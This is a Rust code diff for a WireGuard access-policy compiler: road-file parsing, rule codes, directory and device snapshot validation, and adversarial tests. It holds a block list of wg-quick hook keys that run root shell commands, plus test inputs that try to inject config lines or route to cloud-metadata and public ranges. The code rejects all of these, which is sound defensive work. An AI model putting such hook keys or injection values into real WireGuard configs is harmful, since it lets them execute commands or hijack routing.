r::OBJECT_KIND, + kind_message(kind, verb, allowed), + )); + None + } + } + } + }) + } else { + None + }; + + let until = single("until", &mut problems).and_then(|s| { + let t = Timestamp::parse(&s); + if t.is_none() { + problems.push(p( + "until", + r::UNTIL_FORMAT, + format!("`{}` is not an RFC 3339 time with an offset", clip(&s)), + )); + } + t + }); + let created = single("created", &mut problems).and_then(|s| { + let t = Timestamp::parse(&s); + if t.is_none() { + problems.push(p( + "created", + r::CREATED_FORMAT, + format!("`{}` is not an RFC 3339 time with an offset", clip(&s)), + )); + } + t + }); + + let ports = if takes("ports") { + match get("ports") { + Some(Value::Str(_)) => { + problems.push(p( + "ports", + r::KEY_TYPE, + "must be a list, like [tcp/443]".into(), + )); + None + } + Some(Value::List(items)) => { + let mut out = Vec::new(); + for it in items { + match PortSpec::parse(it) { + Ok(s) => out.push(s), + Err(m) => problems.push(p("ports", r::PORTS_FORMAT, m)), + } + } + if items.is_empty() { + problems.push(p( + "ports", + r::PORTS_FORMAT, + "an empty list grants nothing; leave `ports` out for all traffic" + .into(), + )); + } + Some(out) + } + _ => None, + } + } else { + None + }; + + let via = if takes("via") { + single("via", &mut problems).and_then(|s| { + match s.strip_prefix("device:").and_then(DeviceKey::new) { + Some(k) => Some(k), + None => { + problems.push(p( + "via", + r::VIA_FORMAT, + format!("`{}` is not `device:`", clip(&s)), + )); + None + } + } + }) + } else { + None + }; + + let classic = if takes("classic") { + single("classic", &mut problems).and_then(|s| match s.as_str() { + "true" => Some(true), + "false" => Some(false), + _ => { + problems.push(p( + "classic", + r::CLASSIC_FORMAT, + format!("`{}` is not true or false", clip(&s)), + )); + None + } + }) + } else { + None + }; + + let body = if verb == Some(Verb::Custom) { + match raw_block(body_text) { + Some(raw) => { + for (i, key) in raw_hooks(raw) { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_HOOK, + format!("`{key}` runs commands or rewrites routing when wg-quick brings the config up; it is not allowed in a raw block"), + ) + .at(close + 3 + i), + ); + } + Some(Body::Raw(raw.to_string())) + } + None => { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_MISSING, + "a custom road's body is one ```raw block: a ```raw line, the raw lines, a ``` line", + ) + .at(close + 2), + ); + None + } + } + } else { + if body_text + .split('\n') + .any(|l| l.strip_suffix('\r').unwrap_or(l) == "```raw") + { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_OUTSIDE_CUSTOM, + "a ```raw block belongs only in a custom road", + ) + .at(close + 2), + ); + } + Some(Body::Note(body_text.to_string())) + }; + + if !problems.is_empty() { + problems.sort_by_key(|p| p.line); + return Err(problems); + } + match (id, subject, verb, created, body) { + (Some(id), Some(subject), Some(verb), Some(created), Some(body)) => Ok(Road { + path: path.to_string(), + id, + subject, + verb, + object, + until, + ports, + via, + classic, + created, + body, + lines: line_of, + }), + _ => unreachable!("a missing field always leaves a problem"), + } + } +} + +fn kind_message(kind: Kind, verb: Option, allowed: &[Kind]) -> String { + let names: Vec<&str> = allowed.iter().map(|k| k.name()).collect(); + match verb { + Some(v) if names.is_empty() => format!("a {v} road takes no {}", kind.name()), + Some(v) => format!("a {v} road takes {}, not {}", names.join(", "), kind.name()), + None => format!("{} is not allowed here", kind.name()), + } +} + +/// wg-quick keys that run shell commands as root or change host routing (wg-quick(8)); QA R-41. +pub const RAW_HOOKS: [&str; 7] = [ + "preup", + "postup", + "predown", + "postdown", + "saveconfig", + "table", + "fwmark", +]; + +/// The (0-based line, key) of every hook key in a raw block, in any case and spacing. +pub fn raw_hooks(raw: &str) -> Vec<(usize, String)> { + raw.split('\n') + .enumerate() + .filter_map(|(i, l)| { + let key = l + .split('=') + .next()? + .trim_matches(|c: char| c.is_whitespace()); + (l.contains('=') && RAW_HOOKS.contains(&key.to_ascii_lowercase().as_str())) + .then(|| (i, key.to_string())) + }) + .collect() +} + +/// The raw bytes of a body that is exactly one ```` ```raw ```` block. +fn raw_block(body: &str) -> Option<&str> { + let rest = body + .strip_prefix("```raw\n") + .or_else(|| body.strip_prefix("```raw\r\n"))?; + let without_end = rest + .strip_suffix("\r\n") + .or_else(|| rest.strip_suffix('\n')) + .unwrap_or(rest); + let raw = without_end.strip_suffix("```")?; + (raw.is_empty() || raw.ends_with('\n')).then_some(raw) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn raw_blocks() { + assert_eq!( + raw_block("```raw\n[Peer]\nA = b\n```\n"), + Some("[Peer]\nA = b\n") + ); + assert_eq!(raw_block("```raw\n```"), Some("")); + assert_eq!(raw_block("```raw\r\nx\r\n```\r\n"), Some("x\r\n")); + assert_eq!( + raw_block("```raw\nx\n```\ny\n"), + None, + "text after the block" + ); + assert_eq!( + raw_block("```raw\nx```\n"), + None, + "the fence must start a line" + ); + assert_eq!(raw_block("note\n"), None); + } + + #[test] + fn timestamps() { + assert!(Timestamp::parse("2026-11-29T23:59:59+01:00").is_some()); + assert!(Timestamp::parse("2026-11-29T22:59:59Z").is_some()); + assert!(Timestamp::parse("2026-11-29 23:59:59+01:00").is_none()); + assert!(Timestamp::parse("2026-11-29").is_none()); + assert!(Timestamp::parse("2026-02-30T00:00:00Z").is_none()); + } +} diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs new file mode 100644 index 0000000..b5cf2fe --- /dev/null +++ b/crates/roads/src/rules.rs @@ -0,0 +1,125 @@ +//! Every rule code a [`crate::Problem`] can carry (docs/FORMATS.md). The validation test fails if one of +//! these has no failing fixture. + +// Road files +pub const FILE_KIND: &str = "file.kind"; +pub const FILE_NAME: &str = "file.name"; +pub const FILE_SIZE: &str = "file.size"; +pub const FILE_ENCODING: &str = "file.encoding"; +pub const FILE_HEADER: &str = "file.header"; +pub const FILE_COUNT: &str = "file.count"; +pub const YAML_REFUSED: &str = "yaml.refused"; +pub const YAML_SYNTAX: &str = "yaml.syntax"; +pub const KEY_UNKNOWN: &str = "key.unknown"; +pub const KEY_DUPLICATE: &str = "key.duplicate"; +pub const KEY_MISSING: &str = "key.missing"; +pub const KEY_FORBIDDEN: &str = "key.forbidden"; +pub const KEY_TYPE: &str = "key.type"; +pub const ID_FORMAT: &str = "id.format"; +pub const ID_FILE_NAME: &str = "id.file-name"; +pub const ID_DUPLICATE: &str = "id.duplicate"; +pub const VERB_UNKNOWN: &str = "verb.unknown"; +pub const REF_FORMAT: &str = "ref.format"; +pub const SUBJECT_KIND: &str = "subject.kind"; +pub const SUBJECT_UNKNOWN: &str = "subject.unknown"; +pub const OBJECT_KIND: &str = "object.kind"; +pub const OBJECT_UNKNOWN: &str = "object.unknown"; +pub const OBJECT_NOT_EXIT: &str = "object.not-exit"; +pub const SUBNET_NOT_CANONICAL: &str = "subnet.not-canonical"; +pub const SUBNET_UNROUTED: &str = "subnet.unrouted"; +pub const UNTIL_FORMAT: &str = "until.format"; +pub const CREATED_FORMAT: &str = "created.format"; +pub const PORTS_FORMAT: &str = "ports.format"; +pub const PORTS_NOT_SERVED: &str = "ports.not-served"; +pub const VIA_FORMAT: &str = "via.format"; +pub const VIA_UNKNOWN: &str = "via.unknown"; +pub const VIA_NOT_RELAY: &str = "via.not-relay"; +pub const CLASSIC_FORMAT: &str = "classic.format"; +pub const CLASSIC_UNACKNOWLEDGED: &str = "classic.unacknowledged"; +pub const BODY_RAW_MISSING: &str = "body.raw-missing"; +pub const BODY_RAW_OUTSIDE_CUSTOM: &str = "body.raw-outside-custom"; +pub const BODY_RAW_HOOK: &str = "body.raw-hook"; + +// Inactive roads +pub const ROAD_EXPIRED: &str = "road.expired"; +pub const ROAD_NO_DEVICES: &str = "road.no-devices"; +pub const ROAD_SELF: &str = "road.self"; +pub const EXIT_CONFLICT: &str = "exit.conflict"; +pub const DIRECT_KILL_SWITCH: &str = "direct.kill-switch"; + +// Snapshots +pub const SNAPSHOT_JSON: &str = "snapshot.json"; +pub const SNAPSHOT_FORMAT: &str = "snapshot.format"; +pub const DIRECTORY_ID: &str = "directory.id"; +pub const DIRECTORY_DUPLICATE: &str = "directory.duplicate"; +pub const DIRECTORY_NAME: &str = "directory.name"; +pub const DIRECTORY_MEMBER: &str = "directory.member"; +pub const DEVICES_KEY: &str = "devices.key"; +pub const DEVICES_DUPLICATE: &str = "devices.duplicate"; +pub const DEVICES_NAME: &str = "devices.name"; +pub const DEVICES_OWNER: &str = "devices.owner"; +pub const DEVICES_ADDRESS: &str = "devices.address"; +pub const DEVICES_ROUTE: &str = "devices.route"; +pub const DEVICES_OVERLAP: &str = "devices.overlap"; +pub const DEVICES_SERVICE: &str = "devices.service"; +pub const DEVICES_PORTS: &str = "devices.ports"; + +pub const ALL: &[&str] = &[ + FILE_KIND, + FILE_NAME, + FILE_SIZE, + FILE_ENCODING, + FILE_HEADER, + FILE_COUNT, + YAML_REFUSED, + YAML_SYNTAX, + KEY_UNKNOWN, + KEY_DUPLICATE, + KEY_MISSING, + KEY_FORBIDDEN, + KEY_TYPE, + ID_FORMAT, + ID_FILE_NAME, + ID_DUPLICATE, + VERB_UNKNOWN, + REF_FORMAT, + SUBJECT_KIND, + SUBJECT_UNKNOWN, + OBJECT_KIND, + OBJECT_UNKNOWN, + OBJECT_NOT_EXIT, + SUBNET_NOT_CANONICAL, + SUBNET_UNROUTED, + UNTIL_FORMAT, + CREATED_FORMAT, + PORTS_FORMAT, + PORTS_NOT_SERVED, + VIA_FORMAT, + VIA_UNKNOWN, + VIA_NOT_RELAY, + CLASSIC_FORMAT, + CLASSIC_UNACKNOWLEDGED, + BODY_RAW_MISSING, + BODY_RAW_OUTSIDE_CUSTOM, + BODY_RAW_HOOK, + ROAD_EXPIRED, + ROAD_NO_DEVICES, + ROAD_SELF, + EXIT_CONFLICT, + DIRECT_KILL_SWITCH, + SNAPSHOT_JSON, + SNAPSHOT_FORMAT, + DIRECTORY_ID, + DIRECTORY_DUPLICATE, + DIRECTORY_NAME, + DIRECTORY_MEMBER, + DEVICES_KEY, + DEVICES_DUPLICATE, + DEVICES_NAME, + DEVICES_OWNER, + DEVICES_ADDRESS, + DEVICES_ROUTE, + DEVICES_OVERLAP, + DEVICES_SERVICE, + DEVICES_PORTS, +]; diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs new file mode 100644 index 0000000..d1c3f77 --- /dev/null +++ b/crates/roads/src/snapshot.rs @@ -0,0 +1,514 @@ +//! The two snapshots the compiler reads besides the roads: `directory.json` and `devices.json` +//! (docs/FORMATS.md). Both are strict: unknown fields are errors, and any error means no plan is produced. + +use crate::ids::{ + DeviceKey, GroupId, Hostname, PersonId, clip, is_device_key, is_hostname, is_opaque_id, +}; +use crate::net::{Addr, Net}; +use crate::ports::PortSpec; +use crate::problem::Problem; +use crate::rules as r; +use serde::Deserialize; +use std::collections::{BTreeMap, BTreeSet}; + +pub const DIRECTORY_FILE: &str = "directory.json"; +pub const DEVICES_FILE: &str = "devices.json"; +pub const MAX_SNAPSHOT: usize = 4 * 1024 * 1024; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Person { + pub id: PersonId, + pub name: String, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Group { + pub id: GroupId, + pub name: String, + pub members: BTreeSet, +} + +/// The people directory snapshot, validated. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub struct Directory { + pub people: BTreeMap, + pub groups: BTreeMap, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Service { + pub host: Hostname, + pub ports: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Device { + pub key: DeviceKey, + pub name: String, + pub owner: Option, + pub address: Addr, + /// A classic WireGuard peer: **not post-quantum**. + pub classic: bool, + pub exit: bool, + pub relay: bool, + pub routes: Vec, + pub services: Vec, +} + +/// The device list, validated. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub struct Devices { + pub devices: BTreeMap, +} + +impl Devices { + pub fn by_name(&self, name: &str) -> Option<&Device> { + self.devices.values().find(|d| d.name == name) + } + + /// The device serving `host`. + pub fn service(&self, host: &Hostname) -> Option<(&Device, &Service)> { + self.devices + .values() + .find_map(|d| d.services.iter().find(|s| &s.host == host).map(|s| (d, s))) + } + + /// The one device whose routes cover `net`. + pub fn router_of(&self, net: &Net) -> Option<&Device> { + self.devices + .values() + .find(|d| d.routes.iter().any(|r| r.contains(net))) + } +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDirectory { + format: u32, + people: Vec, + #[serde(default)] + groups: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawPerson { + id: String, + name: String, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawGroup { + id: String, + name: String, + members: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDevices { + format: u32, + devices: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDevice { + key: String, + name: String, + #[serde(default)] + owner: Option, + address: String, + #[serde(default)] + classic: bool, + #[serde(default)] + exit: bool, + #[serde(default)] + relay: bool, + #[serde(default)] + routes: Vec, + #[serde(default)] + services: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawService { + host: String, + ports: Vec, +} + +fn read_json Deserialize<'de>>(path: &str, bytes: &[u8]) -> Result> { + if bytes.len() > MAX_SNAPSHOT { + return Err(vec![Problem::error( + path, + None, + r::SNAPSHOT_JSON, + "larger than 4 MiB", + )]); + } + serde_json::from_slice(bytes).map_err(|e| { + vec![ + Problem::error( + path, + None, + r::SNAPSHOT_JSON, + format!("not a valid snapshot: {e}"), + ) + .at(e.line()), + ] + }) +} + +fn good_name(s: &str) -> bool { + let n = s.chars().count(); + (1..=100).contains(&n) && !s.chars().any(is_hidden_char) && s.trim() == s +} + +/// Characters a name may not hold: controls (newlines included, so a name can never inject a line into an +/// exported config, QA R-42), line and paragraph separators, zero-width and bidi controls (QA R-34). +pub fn is_hidden_char(c: char) -> bool { + c.is_control() + || matches!(c, '\u{2028}' | '\u{2029}' | '\u{200b}'..='\u{200f}' | '\u{202a}'..='\u{202e}' | '\u{2060}'..='\u{2069}' | '\u{feff}') +} + +impl Directory { + pub fn parse(bytes: &[u8]) -> Result> { + let path = DIRECTORY_FILE; + let raw: RawDirectory = read_json(path, bytes)?; + let mut problems = Vec::new(); + let mut e = |field: String, code, msg: String| { + problems.push(Problem::error(path, Some(&field), code, msg)) + }; + if raw.format != 1 { + e( + "format".into(), + r::SNAPSHOT_FORMAT, + format!("format {} is not 1", raw.format), + ); + } + let mut dir = Directory::default(); + for (i, p) in raw.people.iter().enumerate() { + let Some(id) = PersonId::new(&p.id) else { + e( + format!("people[{i}].id"), + r::DIRECTORY_ID, + format!( + "`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -", + clip(&p.id) + ), + ); + continue; + }; + if !good_name(&p.name) { + e( + format!("people[{i}].name"), + r::DIRECTORY_NAME, + "a name is 1-100 characters on one line".into(), + ); + } + if dir + .people + .insert( + id.clone(), + Person { + id, + name: p.name.clone(), + }, + ) + .is_some() + { + e( + format!("people[{i}].id"), + r::DIRECTORY_DUPLICATE, + format!("person `{}` is listed twice", p.id), + ); + } + } + for (i, g) in raw.groups.iter().enumerate() { + let Some(id) = GroupId::new(&g.id) else { + e( + format!("groups[{i}].id"), + r::DIRECTORY_ID, + format!( + "`{}` is not a group id: 1-64 of A-Z a-z 0-9 _ -", + clip(&g.id) + ), + ); + continue; + }; + if !good_name(&g.name) { + e( + format!("groups[{i}].name"), + r::DIRECTORY_NAME, + "a name is 1-100 characters on one line".into(), + ); + } + let mut members = BTreeSet::new(); + for (j, m) in g.members.iter().enumerate() { + match PersonId::new(m).filter(|m| dir.people.contains_key(m)) { + Some(m) => { + if !members.insert(m.clone()) { + e( + format!("groups[{i}].members[{j}]"), + r::DIRECTORY_MEMBER, + format!("`{m}` is listed twice"), + ); + } + } + None => e( + format!("groups[{i}].members[{j}]"), + r::DIRECTORY_MEMBER, + format!("`{}` is not a person in the directory", clip(m)), + ), + } + } + if dir + .groups + .insert( + id.clone(), + Group { + id, + name: g.name.clone(), + members, + }, + ) + .is_some() + { + e( + format!("groups[{i}].id"), + r::DIRECTORY_DUPLICATE, + format!("group `{}` is listed twice", g.id), + ); + } + } + if problems.is_empty() { + Ok(dir) + } else { + Err(problems) + } + } +} + +impl Devices { + pub fn parse(bytes: &[u8], directory: Option<&Directory>) -> Result> { + let path = DEVICES_FILE; + let raw: RawDevices = read_json(path, bytes)?; + let mut problems = Vec::new(); + let mut e = |field: String, code, msg: String| { + problems.push(Problem::error(path, Some(&field), code, msg)) + }; + if raw.format != 1 { + e( + "format".into(), + r::SNAPSHOT_FORMAT, + format!("format {} is not 1", raw.format), + ); + } + let mut out = Devices::default(); + let mut names = BTreeSet::new(); + let mut addresses = BTreeSet::new(); + let mut hosts = BTreeSet::new(); + for (i, d) in raw.devices.iter().enumerate() { + let f = |k: &str| format!("devices[{i}].{k}"); + let Some(key) = DeviceKey::new(&d.key).filter(|_| is_device_key(&d.key)) else { + e( + f("key"), + r::DEVICES_KEY, + format!( + "`{}` is not a Tessera device key: 43 characters of base64url", + clip(&d.key) + ), + ); + continue; + }; + let name_ok = (1..=64).contains(&d.name.len()) + && d.name + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-'); + if !name_ok { + e( + f("name"), + r::DEVICES_NAME, + format!( + "`{}` is not a device name: 1-64 of a-z 0-9 -", + clip(&d.name) + ), + ); + } else if !names.insert(d.name.clone()) { + e( + f("name"), + r::DEVICES_NAME, + format!("the name `{}` is used twice", d.name), + ); + } + let owner = match &d.owner { + None => None, + Some(o) => { + let known = directory.is_none_or(|dir| { + PersonId::new(o).is_some_and(|p| dir.people.contains_key(&p)) + }); + match PersonId::new(o).filter(|_| is_opaque_id(o) && known) { + Some(p) => Some(p), + None => { + e( + f("owner"), + r::DEVICES_OWNER, + format!("`{}` is not a person in the directory", clip(o)), + ); + None + } + } + } + }; + let address = match d.address.parse::() { + Ok(a) + if a.to_string() == d.address + && !Net::host(a).is_special() + && !Net::host(a).embeds_ipv4() => + { + if !addresses.insert(a) { + e( + f("address"), + r::DEVICES_ADDRESS, + format!("{a} is used by two devices"), + ); + } + Some(Addr(a)) + } + _ => { + e( + f("address"), + r::DEVICES_ADDRESS, + format!("`{}` is not one IP address", clip(&d.address)), + ); + None + } + }; + let mut routes = Vec::new(); + for (j, rt) in d.routes.iter().enumerate() { + match Net::parse_canonical(rt) { + Ok(n) + if n.prefix_len() > 0 + && !n.is_special() + && !n.embeds_ipv4() + && !n.reaches_internet() => + { + routes.push(n) + } + Ok(n) if n.prefix_len() > 0 => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + format!( + "{n} is not a private subnet (loopback, link-local, multicast, embedded IPv4 or internet); the internet is reached through an exit" + ), + ), + Ok(_) => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + "a route of /0 is an exit; set `exit: true` instead".into(), + ), + Err(_) => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + format!("`{}` is not a canonical subnet", clip(rt)), + ), + } + } + routes.sort(); + routes.dedup(); + let mut services = Vec::new(); + for (j, s) in d.services.iter().enumerate() { + let Some(host) = Hostname::new(&s.host).filter(|_| is_hostname(&s.host)) else { + e( + format!("devices[{i}].services[{j}].host"), + r::DEVICES_SERVICE, + format!("`{}` is not a hostname", clip(&s.host)), + ); + continue; + }; + if !hosts.insert(host.clone()) { + e( + format!("devices[{i}].services[{j}].host"), + r::DEVICES_SERVICE, + format!("{host} is served by two devices"), + ); + } + let mut ports = Vec::new(); + for p in &s.ports { + match PortSpec::parse(p) { + Ok(p) => ports.push(p), + Err(m) => e( + format!("devices[{i}].services[{j}].ports"), + r::DEVICES_PORTS, + m, + ), + } + } + if s.ports.is_empty() { + e( + format!("devices[{i}].services[{j}].ports"), + r::DEVICES_PORTS, + "a service lists the ports it serves".into(), + ); + } + services.push(Service { host, ports }); + } + services.sort_by(|a, b| a.host.cmp(&b.host)); + let Some(address) = address else { continue }; + let dev = Device { + key: key.clone(), + name: d.name.clone(), + owner, + address, + classic: d.classic, + exit: d.exit, + relay: d.relay, + routes, + services, + }; + if out.devices.insert(key.clone(), dev).is_some() { + e( + f("key"), + r::DEVICES_DUPLICATE, + format!("the key {} is listed twice", key.short()), + ); + } + } + // Routes may not overlap between devices, and no device address may sit inside a route. + let all: Vec<(&Device, &Net)> = out + .devices + .values() + .flat_map(|d| d.routes.iter().map(move |n| (d, n))) + .collect(); + for (a, (da, na)) in all.iter().enumerate() { + for (db, nb) in all.iter().skip(a + 1) { + if da.key != db.key && na.overlaps(nb) { + e( + format!("devices.{}.routes", db.name), + r::DEVICES_OVERLAP, + format!("{nb} on {} overlaps {na} on {}", db.name, da.name), + ); + } + } + for d in out.devices.values() { + if na.contains_addr(&d.address.0) { + e( + format!("devices.{}.address", d.name), + r::DEVICES_ADDRESS, + format!( + "{} of {} is inside the route {na} of {}", + d.address, d.name, da.name + ), + ); + } + } + } + if problems.is_empty() { + Ok(out) + } else { + Err(problems) + } + } +} diff --git a/crates/roads/src/store.rs b/crates/roads/src/store.rs new file mode 100644 index 0000000..8ab3ba7 --- /dev/null +++ b/crates/roads/src/store.rs @@ -0,0 +1,161 @@ +//! The store: `directory.json`, `devices.json` and `roads/` (docs/FORMATS.md, "The store"). + +use crate::id::RoadId; +use crate::problem::Problem; +use crate::road::Road; +use crate::rules as r; +use crate::snapshot::{DEVICES_FILE, DIRECTORY_FILE, Devices, Directory}; +use std::collections::BTreeMap; +use std::path::Path; + +pub const ROADS_DIR: &str = "roads"; +pub const MAX_ROADS: usize = 10_000; + +/// Everything the compiler reads, already parsed. Roads with errors are not in `roads`; their problems are. +#[derive(Debug, Clone, Default)] +pub struct Store { + pub roads: Vec, + pub directory: Option, + pub devices: Option, + pub problems: Vec, +} + +impl Store { + /// Builds a store from bytes: `(file name inside roads/, contents)`, and the two snapshots (`None`: missing). + pub fn from_parts( + road_files: &[(String, Vec)], + directory: Option<&[u8]>, + devices: Option<&[u8]>, + ) -> Store { + let mut store = Store::default(); + match directory { + None => store.problems.push(Problem::error( + DIRECTORY_FILE, + None, + r::SNAPSHOT_JSON, + "missing", + )), + Some(b) => match Directory::parse(b) { + Ok(d) => store.directory = Some(d), + Err(p) => store.problems.extend(p), + }, + } + match devices { + None => store.problems.push(Problem::error( + DEVICES_FILE, + None, + r::SNAPSHOT_JSON, + "missing", + )), + Some(b) => match Devices::parse(b, store.directory.as_ref()) { + Ok(d) => store.devices = Some(d), + Err(p) => store.problems.extend(p), + }, + } + + let mut files: Vec<&(String, Vec)> = road_files.iter().collect(); + files.sort_by(|a, b| a.0.cmp(&b.0)); + if files.len() > MAX_ROADS { + store.problems.push(Problem::error( + ROADS_DIR, + None, + r::FILE_COUNT, + format!("more than {MAX_ROADS} road files"), + )); + return store; + } + let mut by_id: BTreeMap> = BTreeMap::new(); + for (name, bytes) in files { + let path = format!("{ROADS_DIR}/{name}"); + match Road::parse(&path, bytes) { + Ok(road) => by_id.entry(road.id.clone()).or_default().push(road), + Err(p) => store.problems.extend(p), + } + } + for (id, roads) in by_id { + if roads.len() == 1 { + store.roads.extend(roads); + continue; + } + let paths: Vec<&str> = roads.iter().map(|r| r.path.as_str()).collect(); + for road in &roads { + store.problems.push( + Problem::error( + &road.path, + Some("id"), + r::ID_DUPLICATE, + format!( + "id {id} is used by {}; none of them grants anything", + paths.join(" and ") + ), + ) + .at(road.line_of("id")), + ); + } + } + store + } + + /// Reads a store folder. Only the three names are read; anything that is not a regular `.md` file inside + /// `roads/` is a problem and is not read. + pub fn load_dir(root: &Path) -> std::io::Result { + let directory = read_optional(&root.join(DIRECTORY_FILE))?; + let devices = read_optional(&root.join(DEVICES_FILE))?; + let mut files = Vec::new(); + let mut problems = Vec::new(); + let roads = root.join(ROADS_DIR); + if roads.is_dir() { + for entry in std::fs::read_dir(&roads)? { + let entry = entry?; + let name = entry.file_name().to_string_lossy().into_owned(); + let ty = entry.file_type()?; + let path = format!("{ROADS_DIR}/{name}"); + if !ty.is_file() { + let what = if ty.is_symlink() { + "a symbolic link" + } else { + "not a regular file" + }; + problems.push(Problem::error( + &path, + None, + r::FILE_KIND, + format!("{what}; roads/ holds only road files"), + )); + continue; + } + if !name.ends_with(".md") { + problems.push(Problem::error( + &path, + None, + r::FILE_KIND, + "not a road file (.md); roads/ holds only road files", + )); + continue; + } + if entry.metadata()?.len() > crate::road::MAX_FILE as u64 { + problems.push(Problem::error( + &path, + None, + r::FILE_SIZE, + format!("larger than {} KiB", crate::road::MAX_FILE / 1024), + )); + continue; + } + files.push((name, std::fs::read(entry.path())?)); + } + } + let mut store = Store::from_parts(&files, directory.as_deref(), devices.as_deref()); + store.problems.extend(problems); + store.problems.sort(); + Ok(store) + } +} + +fn read_optional(path: &Path) -> std::io::Result>> { + match std::fs::read(path) { + Ok(b) => Ok(Some(b)), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None), + Err(e) => Err(e), + } +} diff --git a/crates/roads/tests/attacks.rs b/crates/roads/tests/attacks.rs new file mode 100644 index 0000000..17fa10b --- /dev/null +++ b/crates/roads/tests/attacks.rs @@ -0,0 +1,266 @@ +//! QA's adversarial cases (`Via/qa/02_roads_attacks.md`) that the six mandatory tests do not already cover. +//! Each test names the case it answers. + +mod common; + +use common::{Parts, at, fw_accepts, key}; +use roads::{Road, RoadId, compile, rules}; + +fn road(id: &str, lines: &[&str]) -> String { + format!( + "---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n", + lines.join("\n") + ) +} + +#[test] +fn r12_roads_are_one_directional() { + let c = Parts::home().compile(); + assert!(fw_accepts( + &c, + &key(3), + "100.96.0.2".parse().unwrap(), + Some(("tcp", 443)) + )); + // The home server gets no rule into jana-phone, and jana-phone's firewall is empty. + assert!(!fw_accepts( + &c, + &key(2), + "100.96.0.3".parse().unwrap(), + Some(("tcp", 443)) + )); + assert!(c.plans[&key(3)].firewall.rules.is_empty()); +} + +#[test] +fn r10_receiving_side_peers_hold_only_their_own_address() { + // A peer that is only a client of this device holds exactly its /32 here; a firewall source always sits on + // its own peer, so another peer (an exit's 0.0.0.0/0 included) can never send from it. + let c = Parts::home().compile(); + for plan in c.plans.values() { + for rule in &plan.firewall.rules { + let own = plan + .peers + .iter() + .find(|p| roads::net::Net::host(p.address.0) == rule.src); + assert!( + own.is_some_and(|p| p.allowed_ips.contains(&rule.src)), + "{}: {rule:?}", + plan.name + ); + } + } + let server = &c.plans[&key(2)]; + for p in &server.peers { + assert_eq!( + p.allowed_ips, + [roads::net::Net::host(p.address.0)], + "{} may source more than itself", + p.name + ); + } +} + +#[test] +fn r05_r07_r08_the_internet_and_special_ranges_are_not_subnets() { + let base = Parts::home(); + for (route, why) in [ + ("0.0.0.0/1", "half the internet"), + ("128.0.0.0/1", "the other half"), + ("8.8.8.0/24", "a public subnet"), + ("127.0.0.0/8", "loopback"), + ("169.254.169.254/32", "cloud metadata"), + ("224.0.0.0/4", "multicast"), + ("::ffff:192.168.100.0/120", "IPv4-mapped IPv6"), + ("64:ff9b::/96", "NAT64"), + ("2002::/16", "6to4"), + ] { + let parts = Parts::home().edit_devices(|d| { + d.replace( + r#""routes": ["192.168.100.0/24"]"#, + &format!(r#""routes": ["{route}"]"#), + ) + }); + let c = parts.compile(); + assert!( + c.problems.iter().any(|p| p.code == rules::DEVICES_ROUTE), + "{route} ({why}) accepted as a route" + ); + assert!(c.plans.is_empty()); + } + let _ = base; +} + +#[test] +fn r25_until_extremes_never_panic() { + for until in [ + "0000-01-01T00:00:00Z", + "9999-12-31T23:59:59Z", + "+10000-01-01T00:00:00Z", + "2026-12-31T23:59:60Z", + "2026-11-29T23:59:59+24:00", + "2026-11-29T23:59:59-23:59", + "2026-11-29T23:59:59+99:99", + "2026-03-29T02:30:00 Europe/Prague", + &format!("2026-11-29T23:59:59.{}Z", "9".repeat(10_000)), + ] { + let text = road( + "f00001", + &[ + "subject: person:jana", + "verb: can-reach", + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + &format!("until: {until}"), + ], + ); + let parts = Parts::home().with_road("f00001-x.md", &text); + let store = parts.store(); + for now in [ + "1970-01-01T00:00:00Z", + "2026-11-25T12:00:00Z", + "9999-12-30T00:00:00Z", + ] { + let _ = compile(&store, at(now)); + } + } +} + +#[test] +fn r31_r33_ids_are_lowercase_and_never_paths() { + for s in [ + "../x", "a/b", "a\\b", ".", "..", "C:x", "", "k3f9q\0", "K3F9Q2", "k3f9q2x", "k3f9qi", + ] { + assert!(RoadId::new(s).is_none(), "{s:?}"); + } + let text = road( + "k3f9q2", + &[ + "subject: person:jana", + "verb: can-reach", + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + ], + ); + let err = Road::parse("roads/K3F9Q2-upper.md", text.as_bytes()).unwrap_err(); + assert!(err.iter().any(|p| p.code == rules::FILE_NAME)); +} + +#[test] +fn r36_verb_spellings_are_refused() { + for v in ["Can-Reach", "can_reach", "canReach", "CAN-REACH", "reach"] { + let text = road( + "f00002", + &[ + "subject: person:jana", + &format!("verb: {v}"), + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + ], + ); + let err = Road::parse("roads/f00002-x.md", text.as_bytes()).unwrap_err(); + assert!(err.iter().any(|p| p.code == rules::VERB_UNKNOWN), "{v}"); + } +} + +#[test] +fn r42_names_cannot_carry_lines_or_hidden_characters() { + for evil in [ + "x\n[Peer]", + "x\r[Peer]", + "x\u{2028}[Peer]", + "x\u{85}[Peer]", + "Jana\u{202e}", + "Ja\u{200b}na", + " Jana", + ] { + let json = 